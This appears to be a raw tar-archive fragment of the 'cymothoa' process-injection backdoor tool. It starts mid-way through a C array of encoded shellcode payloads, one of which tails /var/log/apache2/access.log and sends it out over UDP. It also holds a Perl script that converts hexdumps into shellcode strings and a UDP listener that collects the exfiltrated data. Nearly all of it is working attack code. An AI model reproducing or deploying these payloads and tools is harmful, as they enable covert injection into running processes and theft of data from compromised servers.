cd\x80\xeb\x0d\xe8\xe3\xff\xff\xff\x02\x00\x50\x52\x49\x50\x56\x34\x5b\x58\x5a\x58\x58\x58\x01\xd4\x31\xc0\xb0\x06\xcd\x80\x31\xc0\xb0\x06\x89\xfb\xcd\x80\x61\xc3\xe8\x58\xff\xff\xff\x2f\x76\x61\x72\x2f\x6c\x6f\x67\x2f\x61\x70\x61\x63\x68\x65\x32\x2f\x61\x63\x63\x65\x73\x73\x2e\x6c\x6f\x67" { "setitimer() tail follow (requires -k -x -y) send data via upd", sizeof(CODE_14), CODE_14, OPT_NEED_PERSISTENT | OPT_USE_SETITIMER }, //#endif { NULL, 0, NULL, 0 }, }; cymothoa-1-beta/hexdump_to_cstring.pl0000755000000000000000000000231511560502045016712 0ustar rootroot#!/usr/bin/perl # # This utility trasform hexdump output: # # $ hexdump -C -s 0x0000034 -n 90 scheduled_setitimer.o # 00000034 60 31 c0 31 db 31 d2 b0 68 eb 05 59 cd 80 eb 15 |`1.1.1..h..Y....| # 00000044 e8 f6 ff ff ff 00 00 00 00 00 02 00 00 00 00 00 |................| # 00000054 00 00 02 00 00 31 c0 31 db b0 30 b3 0e eb 08 59 |.....1.1..0....Y| # 00000064 83 e9 17 cd 80 61 c3 e8 f3 ff ff ff 60 31 c0 31 |.....a......`1.1| # 00000074 db 31 d2 b0 04 b3 01 eb 07 59 b2 05 cd 80 61 c3 |.1.......Y....a.| # 00000084 e8 f4 ff ff ff 68 61 68 61 0a |.....haha.| # # Into a c-style shellcode string: # # $ echo $hexdump_output | hexdump_to_cstring.pl # \x60\x31\xc0\x31\xdb\x31\xd2\xb0\x68\xeb\x05\x59\xcd\x80\xeb\x15\xe8\xf6\xff\xff\xff\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x31\xc0\x31\xdb\xb0\x30\xb3\x0e\xeb\x08\x59\x83\xe9\x17\xcd\x80\x61\xc3\xe8\xf3\xff\xff\xff\x60\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb3\x01\xeb\x07\x59\xb2\x05\xcd\x80\x61\xc3\xe8\xf4\xff\xff\xff\x68\x61\x68\x61\x0a # @input = ; foreach (@input) { @elems = split(/\s+/); foreach (@elems) { if(length($_) == 2 && $_ =~ /[a-f0-9]{2}/) { print '\x'.$_; } } } print "\n"; cymothoa-1-beta/udp_server.c0000644000000000000000000000250111566737011014775 0ustar rootroot#include #include #include #include #include #include #include #include #include #define BUFF_LEN 1024 int main(int argc, char **argv) { int sock, port, err; struct sockaddr_in server; char buffer[BUFF_LEN]; // check arguments if (argc < 2) { fprintf(stderr, "usage: %s port\n", argv[0]); exit(1); } port = atoi(argv[1]); // create socket sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock<0) { perror(argv[0]); exit(1); } // bind to the specified port server.sin_family = AF_INET; server.sin_addr.s_addr = htonl(INADDR_ANY); server.sin_port = htons(port); err = bind(sock, (struct sockaddr *) &server, sizeof(server)); if (err<0) { perror(argv[0]); exit(1); } fprintf(stderr, "%s: listening on port UDP %d\n", argv[0], port); // receive data loop while (1) { memset(buffer, 0, BUFF_LEN); // receive data err = recvfrom(sock, buffer, BUFF_LEN, 0, NULL, 0); if (err<0) { perror(argv[0]); continue; } // print received data fwrite(buffer, err, 1, stdout); fflush(stdout); } return 0; }